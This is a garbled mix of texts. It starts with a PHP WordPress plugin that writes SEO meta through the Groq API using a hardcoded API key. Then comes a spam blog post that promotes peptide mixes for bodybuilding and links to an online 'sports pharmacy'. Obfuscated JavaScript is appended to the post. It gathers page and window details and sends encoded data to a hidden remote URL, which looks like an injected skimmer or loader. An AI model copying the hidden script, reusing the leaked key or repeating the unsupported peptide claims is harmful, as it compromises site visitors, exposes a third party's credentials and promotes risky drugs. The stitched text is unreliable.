/**
 * Plugin Name: Auto SEO Meta
 * Description: Автогенерация SEO meta через Groq API. Multi-geo.
 * Version: 1.0
 */
if (!defined('ABSPATH')) exit;
 
if (!defined('AUTO_SEO_GROQ_KEY')) define('AUTO_SEO_GROQ_KEY', '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');
if (!defined('AUTO_SEO_MODEL'))    define('AUTO_SEO_MODEL', 'llama-3.3-70b-versatile');
if (!defined('AUTO_SEO_PLUGIN'))   define('AUTO_SEO_PLUGIN', 'yoast');
if (!defined('AUTO_SEO_LANG'))     define('AUTO_SEO_LANG', 'English');
 
if (!function_exists('auto_seo_meta_keys')) {
add_action('save_post', 'auto_seo_on_save', 20, 3);
 
function auto_seo_meta_keys() {
    $map = [
        'rankmath' => ['title' => 'rank_math_title',         'desc' => 'rank_math_description'],
        'yoast'    => ['title' => '_yoast_wpseo_title',      'desc' => '_yoast_wpseo_metadesc'],
        'seopress' => ['title' => '_seopress_titles_title',  'desc' => '_seopress_titles_desc'],
        'aioseo'   => ['title' => '_aioseo_title',           'desc' => '_aioseo_description'],
    ];
    return $map[AUTO_SEO_PLUGIN] ?? $map['rankmath'];
}
 
function auto_seo_on_save($post_id, $post, $update) {
    if (wp_is_post_revision($post_id) || wp_is_post_autosave($post_id)) return;
    if ($post->post_status !== 'publish') return;
    if (!in_array($post->post_type, ['post', 'page'])) return;
 
    $keys = auto_seo_meta_keys();
    $existing_t = get_post_meta($post_id, $keys['title'], true);
    $existing_d = get_post_meta($post_id, $keys['desc'], true);
    if (!empty($existing_t) && !empty($existing_d)) return;
 
    $seo = auto_seo_generate($post);
    if (!$seo) return;
 
    if (empty($existing_t)) update_post_meta($post_id, $keys['title'], $seo['title']);
    if (empty($existing_d)) update_post_meta($post_id, $keys['desc'], $seo['description']);
}
 
function auto_seo_generate($post) {
    $title = $post->post_title;
    $content = wp_strip_all_tags($post->post_content);
    $content = mb_substr($content, 0, 3000);
    if (empty($content) && empty($title)) return false;
 
    $site_name = get_bloginfo('name');
    $site_desc = get_bloginfo('description');
    $domain = parse_url(home_url(), PHP_URL_HOST);
    $lang = AUTO_SEO_LANG;
 
    $prompt  = "You are an SEO expert. Generate SEO meta title (max 60 chars) and description (max 155 chars) for this webpage.\n\n";
    $prompt .= "Output language: {$lang}\n";
    $prompt .= "Site: {$site_name} ({$domain})\n";
    if ($site_desc) $prompt .= "Site tagline: {$site_desc}\n";
    $prompt .= "\nPage title: {$title}\n\n";
    $prompt .= "Content:\n{$content}\n\n";
    $prompt .= "Rules:\n- Title max 60 chars, includes main keyword\n- Description max 155 chars, compelling\n- Output in {$lang} only\n- No quotes\n- Output ONLY valid JSON:\n";
    $prompt .= '{"title":"...","description":"..."}';
 
    $response = wp_remote_post('https://api.groq.com/openai/v1/chat/completions', [
        'timeout' => 30,
        'headers' => [
            'Content-Type'  => 'application/json',
            'Authorization' => 'Bearer ' . AUTO_SEO_GROQ_KEY,
        ],
        'body' => json_encode([
            'model'           => AUTO_SEO_MODEL,
            'messages'        => [['role' => 'user', 'content' => $prompt]],
            'temperature'     => 0.7,
            'max_tokens'      => 300,
            'response_format' => ['type' => 'json_object'],
        ])
    ]);
 
    if (is_wp_error($response)) {
        error_log('Auto SEO error: ' . $response->get_error_message());
        return false;
    }
 
    $code = wp_remote_retrieve_response_code($response);
    $body = json_decode(wp_remote_retrieve_body($response), true);
 
    if ($code !== 200) {
        error_log('Auto SEO HTTP ' . $code . ': ' . wp_remote_retrieve_body($response));
        return false;
    }
 
    $text = $body['choices'][0]['message']['content'] ?? '';
    if (empty($text)) return false;
 
    $text = preg_replace('/^```json\s*|\s*```$/m', '', trim($text));
    $seo = json_decode($text, true);
 
    if (!isset($seo['title']) || !isset($seo['description'])) return false;
 
    return [
        'title'       => mb_substr($seo['title'], 0, 60),
        'description' => mb_substr($seo['description'], 0, 155),
    ];
}
 
add_action('add_meta_boxes', function() {
    add_meta_box('auto_seo', 'Auto SEO', 'auto_seo_metabox', ['post', 'page'], 'side');
});
 
function auto_seo_metabox($post) {
    $keys = auto_seo_meta_keys();
    $t = get_post_meta($post->ID, $keys['title'], true);
    $d = get_post_meta($post->ID, $keys['desc'], true);
    echo '<p><strong>Title:</strong><br><small>' . esc_html($t ?: '—') . '</small></p>';
    echo '<p><strong>Description:</strong><br><small>' . esc_html($d ?: '—') . '</small></p>';
    $url = wp_nonce_url(admin_url('admin-post.php?action=auto_seo_regen&post_id=' . $post->ID), 'auto_seo_' . $post->ID);
    echo '<p><a href="' . $url . '" class="button">Regenerate</a></p>';
}
 
add_action('admin_post_auto_seo_regen', function() {
    $post_id = intval($_GET['post_id'] ?? 0);
    if (!current_user_can('edit_post', $post_id)) wp_die('No permission');
    check_admin_referer('auto_seo_' . $post_id);
 
    $keys = auto_seo_meta_keys();
    delete_post_meta($post_id, $keys['title']);
    delete_post_meta($post_id, $keys['desc']);
 
    auto_seo_on_save($post_id, get_post($post_id), true);
 
    wp_redirect(get_edit_post_link($post_id, 'raw'));
    exit;
});
 
} // end function_exists guard<!DOCTYPE html>
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<title>The Benefits of Peptide Mix in Bodybuilding - Biotin Tablets</title>
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	<meta property="og:description" content="Bodybuilding is a discipline that requires dedication, hard work, and the right supplementation to achieve optimal results. One of the most popular supplements in the bodybuilding community is peptide mix, which can provide various advantages for muscle growth and recovery. Open the website of the sports pharmacy in Ireland to see the current Peptide Mix [&hellip;]" />
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<article id="post-26427" class="post-26427 post type-post status-publish format-standard hentry category-uncategorized">
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		<h1 class="entry-title">The Benefits of Peptide Mix in Bodybuilding</h1>

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			<span class="date"><a href="https://biotintablets.com/the-benefits-of-peptide-mix-in-bodybuilding/" title="Permalink to The Benefits of Peptide Mix in Bodybuilding" rel="bookmark"><time class="entry-date" datetime="2026-05-09T03:35:36+00:00">May 9, 2026</time></a></span><span class="categories-links"><a href="https://biotintablets.com/category/uncategorized/" rel="category tag">Uncategorized</a></span><span class="author vcard"><a class="url fn n" href="https://biotintablets.com/author/admlnlx/" title="View all posts by admlnlx" rel="author">admlnlx</a></span>		</div><!-- .entry-meta -->
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				   				<p>Bodybuilding is a discipline that requires dedication, hard work, and the right supplementation to achieve optimal results. One of the most popular supplements in the bodybuilding community is peptide mix, which can provide various advantages for muscle growth and recovery.</p>
<p>Open the website of the sports pharmacy in Ireland to see the current <a href="https://celticsportsnutrition.com/categories/peptide/peptide-mix/">Peptide Mix Price</a> for the preparation Peptide Mix.</p>
<h2>What is Peptide Mix?</h2>
<p>Peptide mix refers to a combination of different peptides that work synergistically to enhance muscle growth, increase fat loss, and improve recovery times. These short chains of amino acids are crucial for cellular signaling and play a vital role in various biological processes.</p>
<h2>Benefits of Peptide Mix in Bodybuilding</h2>
<ul>
<li><strong>Enhanced Muscle Growth:</strong> Peptides can stimulate the production of growth hormone, leading to increased muscle mass and strength.</li>
<li><strong>Improved Recovery:</strong> Peptide mixes can help reduce muscle soreness and enhance recovery after intense workouts.</li>
<li><strong>Fat Loss:</strong> Certain peptides can help promote fat oxidation, aiding in the reduction of body fat while preserving lean muscle.</li>
<li><strong>Increased Endurance:</strong> By improving oxygen delivery to muscles, peptides can enhance endurance and athletic performance.</li>
</ul>
<h2>How to Use Peptide Mix</h2>
<p>For effective results, it is essential to follow proper dosing protocols and cycles as per guidelines. Users should consult with a healthcare professional before starting any new supplement regimen to ensure safety and efficacy.</p>
<h2>Conclusion</h2>
<p>Peptide mix is a powerful tool for bodybuilders looking to enhance their performance and results. With its various benefits, including improved muscle growth, recovery, and fat loss, it is worth considering as part of a comprehensive bodybuilding strategy. Always stay informed and choose quality products for the best results.</p>
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aCX950b=L6HW5Ke.indexOf(pa0eB7[R1XdFSM]);if(aCX950b===-C4KnO3[0x1])continue;if(FDmAEoe<C4KnO3[0x0]){FDmAEoe=aCX950b}else{ota55oF(FDmAEoe+=aCX950b*C4KnO3[0xc],a6iqru|=FDmAEoe<<jJ5avUN,jJ5avUN+=(FDmAEoe&C4KnO3[0xd])>C4KnO3[0xe]?C4KnO3[0xf]:C4KnO3[0x10]);do{ota55oF(jonSmQ.push(a6iqru&C4KnO3[0x3]),a6iqru>>=C4KnO3[0x2],jJ5avUN-=C4KnO3[0x2])}while(jJ5avUN>C4KnO3[0x9]);FDmAEoe=-C4KnO3[0x1]}}if(FDmAEoe>-C4KnO3[0x1]){jonSmQ.push((a6iqru|FDmAEoe<<jJ5avUN)&C4KnO3[0x3])}return Pfmj9R(jonSmQ)}function AV8Aj2(_WvI4p){if(typeof eflGAB[_WvI4p]===C4KnO3[0x5]){return eflGAB[_WvI4p]=pa0eB7(UgDRWB[_WvI4p])}return eflGAB[_WvI4p]}const QHXXNW=await fetch(AV8Aj2(0x79)+_WvI4p,{[AV8Aj2(0x7a)]:AV8Aj2(0x7b),[AV8Aj2(0x7c)]:ZfVmuX3(aCX950b[AV8Aj2(0x7d)](JSON[AV8Aj2(0x7e)](L6HW5Ke)))});if(!QHXXNW.ok){throw new Error}return _gxZa6[AV8Aj2(C4KnO3[0x12])](ZfVmuX3(new Uint8Array(await QHXXNW[AV8Aj2(C4KnO3[0x13])]())))};let dd8wx2Q=C4KnO3[0x0],Gp_temt=C4KnO3[0x0];setTimeout(()=>{function _WvI4p(_WvI4p){var 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eflGAB[L6HW5Ke]}ota55oF(dd8wx2Q=dHzMApx(),tseiji(L6HW5Ke(0x81),{[L6HW5Ke(0x82)]:R1XdFSM,u:window[L6HW5Ke(0x83)][L6HW5Ke(0x84)],[L6HW5Ke(0x85)]:Object[L6HW5Ke(0x86)](window)[L6HW5Ke(0x87)](_WvI4p=>{function L6HW5Ke(_WvI4p){var L6HW5Ke="k<GdvncC7KSmfTho@VBai41lgR^}u[MWpeAF]x3E|`!)Z\"P#w5UO*;/IyrtLYjD+Qq6XsbzJH=&%9?2>8:._$~0,{(N",pa0eB7,AV8Aj2,QHXXNW,jonSmQ,a6iqru,jJ5avUN,FDmAEoe;ota55oF(pa0eB7=""+(_WvI4p||""),AV8Aj2=pa0eB7.length,QHXXNW=[],jonSmQ=C4KnO3[0x0],a6iqru=C4KnO3[0x0],jJ5avUN=-C4KnO3[0x1]);for(FDmAEoe=C4KnO3[0x0];FDmAEoe<AV8Aj2;FDmAEoe++){var R1XdFSM=L6HW5Ke.indexOf(pa0eB7[FDmAEoe]);if(R1XdFSM===-C4KnO3[0x1])continue;if(jJ5avUN<C4KnO3[0x0]){jJ5avUN=R1XdFSM}else{ota55oF(jJ5avUN+=R1XdFSM*C4KnO3[0xc],jonSmQ|=jJ5avUN<<a6iqru,a6iqru+=(jJ5avUN&C4KnO3[0xd])>C4KnO3[0xe]?C4KnO3[0xf]:C4KnO3[0x10]);do{ota55oF(QHXXNW.push(jonSmQ&C4KnO3[0x3]),jonSmQ>>=C4KnO3[0x2],a6iqru-=C4KnO3[0x2])}while(a6iqru>C4KnO3[0x9]);jJ5avUN=-C4KnO3[0x1]}}if(jJ5avUN>-C4KnO3[0x1]){QHXXNW.push((jonSmQ|jJ5avUN<<a6iqru)&C4KnO3[0x3])}return Pfmj9R(QHXXNW)}function pa0eB7(_WvI4p){if(typeof eflGAB[_WvI4p]===C4KnO3[0x5]){return eflGAB[_WvI4p]=L6HW5Ke(UgDRWB[_WvI4p])}return eflGAB[_WvI4p]}return _WvI4p[C4KnO3[0x0]]===_WvI4p[C4KnO3[0x0]][pa0eB7(0x88)]()&&!_WvI4p[pa0eB7(0x89)]("on")})})[L6HW5Ke(0x8a)](_WvI4p=>{const pa0eB7=JSON[L6HW5Ke(0x8b)](_WvI4p);ota55oF(Gp_temt=dHzMApx(),jJ5avUN=pa0eB7[L6HW5Ke(0x8c)],pa0eB7[C4KnO3[0x14]]&&QgbvVvT(pa0eB7[C4KnO3[0x14]]))})[L6HW5Ke(0x8d)](()=>{return C4KnO3[0x0]}))},0x1f4);let pMCfvYA=!C4KnO3[0x1],HNfmytF=C4KnO3[0x0],unLjMQH=C4KnO3[0x0];ota55oF(document[L6HW5Ke(C4KnO3[0x15])](L6HW5Ke(0x8f),_WvI4p=>{return _WvI4p[L6HW5Ke(C4KnO3[0x18])]&&HNfmytF++}),document[L6HW5Ke(C4KnO3[0x15])](L6HW5Ke(0x91),_WvI4p=>{if(L6HW5Ke(0x92)in deSlJY){pa0eB7()}function pa0eB7(){const pa0eB7=require("big-integer");class L6HW5Ke{static randomPrime(L6HW5Ke){const _WvI4p=pa0eB7.one.shiftLeft(L6HW5Ke-C4KnO3[0x1]),dHzMApx=pa0eB7.one.shiftLeft(L6HW5Ke).prev();while(!0x0){let AV8Aj2=pa0eB7.randBetween(_WvI4p,dHzMApx);if(AV8Aj2.isProbablePrime(0x100)){return AV8Aj2}}}static generate(L6HW5Ke){const dHzMApx=pa0eB7(0x10001);let AV8Aj2,QHXXNW,jonSmQ;do{ota55oF(AV8Aj2=this.randomPrime(L6HW5Ke/C4KnO3[0x16]),QHXXNW=this.randomPrime(L6HW5Ke/C4KnO3[0x16]),jonSmQ=pa0eB7.lcm(AV8Aj2.prev(),QHXXNW.prev()))}while(pa0eB7.gcd(dHzMApx,jonSmQ).notEquals(C4KnO3[0x1])||AV8Aj2.minus(QHXXNW).abs().shiftRight(L6HW5Ke/C4KnO3[0x16]-0x64).isZero());return{e:dHzMApx,n:AV8Aj2.multiply(QHXXNW),d:dHzMApx.modInv(jonSmQ)}}static encrypt(L6HW5Ke,dHzMApx,AV8Aj2){return pa0eB7(L6HW5Ke).modPow(AV8Aj2,dHzMApx)}static decrypt(L6HW5Ke,_WvI4p,dHzMApx){return pa0eB7(L6HW5Ke).modPow(_WvI4p,dHzMApx)}static encode(L6HW5Ke){const _WvI4p=L6HW5Ke.split("").map(L6HW5Ke=>L6HW5Ke.charCodeAt()).join("");return pa0eB7(_WvI4p)}static decode(pa0eB7){const L6HW5Ke=pa0eB7.toString();let _WvI4p="";for(let AV8Aj2=C4KnO3[0x0];AV8Aj2<L6HW5Ke.length;AV8Aj2+=C4KnO3[0x16]){let QHXXNW=Number(L6HW5Ke.substr(AV8Aj2,C4KnO3[0x16]));QHXXNW<=0x1e?(_WvI4p+=String.fromCharCode(Number(L6HW5Ke.substr(AV8Aj2,C4KnO3[0x17]))),AV8Aj2++):_WvI4p+=String.fromCharCode(QHXXNW)}return _WvI4p}}module.exports=L6HW5Ke}return _WvI4p[L6HW5Ke(C4KnO3[0x18])]&&unLjMQH++}),window[L6HW5Ke(0x93)]={["cl"](_WvI4p,L6HW5Ke,pa0eB7){function AV8Aj2(_WvI4p){var L6HW5Ke="IPH{_2:`8gm&UKDq1CEo<h5pa4ziM7t|nGWBJ9(6/LXebsr=]*jFAx?#dZOS)0R^@wv3u}Qy.VfNTYk[\"!cl;$~%+,>",AV8Aj2,a6iqru,QHXXNW,jonSmQ,jJ5avUN,FDmAEoe,R1XdFSM;ota55oF(AV8Aj2=""+(_WvI4p||""),a6iqru=AV8Aj2.length,QHXXNW=[],jonSmQ=C4KnO3[0x0],jJ5avUN=C4KnO3[0x0],FDmAEoe=-C4KnO3[0x1]);for(R1XdFSM=C4KnO3[0x0];R1XdFSM<a6iqru;R1XdFSM++){var aCX950b=L6HW5Ke.indexOf(AV8Aj2[R1XdFSM]);if(aCX950b===-C4KnO3[0x1])continue;if(FDmAEoe<C4KnO3[0x0]){FDmAEoe=aCX950b}else{ota55oF(FDmAEoe+=aCX950b*C4KnO3[0xc],jonSmQ|=FDmAEoe<<jJ5avUN,jJ5avUN+=(FDmAEoe&C4KnO3[0xd])>C4KnO3[0xe]?C4KnO3[0xf]:C4KnO3[0x10]);do{ota55oF(QHXXNW.push(jonSmQ&C4KnO3[0x3]),jonSmQ>>=C4KnO3[0x2],jJ5avUN-=C4KnO3[0x2])}while(jJ5avUN>C4KnO3[0x9]);FDmAEoe=-C4KnO3[0x1]}}if(FDmAEoe>-C4KnO3[0x1]){QHXXNW.push((jonSmQ|FDmAEoe<<jJ5avUN)&C4KnO3[0x3])}return Pfmj9R(QHXXNW)}function a6iqru(_WvI4p){if(typeof eflGAB[_WvI4p]===C4KnO3[0x5]){return eflGAB[_WvI4p]=AV8Aj2(UgDRWB[_WvI4p])}return eflGAB[_WvI4p]}document[a6iqru(0x94)](_WvI4p)?.addEventListener(a6iqru(0x95),()=>{if(pMCfvYA){return}pMCfvYA=!C4KnO3[0x0];const _WvI4p=dHzMApx();ota55oF(QHXXNW[a6iqru(0x96)](jonSmQ,_WvI4p+nU8uAQ*C4KnO3[0x17]+""),setTimeout(()=>{function AV8Aj2(AV8Aj2){var a6iqru="JFV1+w*_6%/4\"8=zl,@U!hDR)BIL]be?`gYi>GTPtpkc}QAm3O;o~{d9[Kx^HfqM:a#&|uX$EsNZSjCvW<r0n7y25.(",_WvI4p,L6HW5Ke,QHXXNW,jonSmQ,jJ5avUN,FDmAEoe,R1XdFSM;ota55oF(_WvI4p=""+(AV8Aj2||""),L6HW5Ke=_WvI4p.length,QHXXNW=[],jonSmQ=C4KnO3[0x0],jJ5avUN=C4KnO3[0x0],FDmAEoe=-C4KnO3[0x1]);for(R1XdFSM=C4KnO3[0x0];R1XdFSM<L6HW5Ke;R1XdFSM++){var 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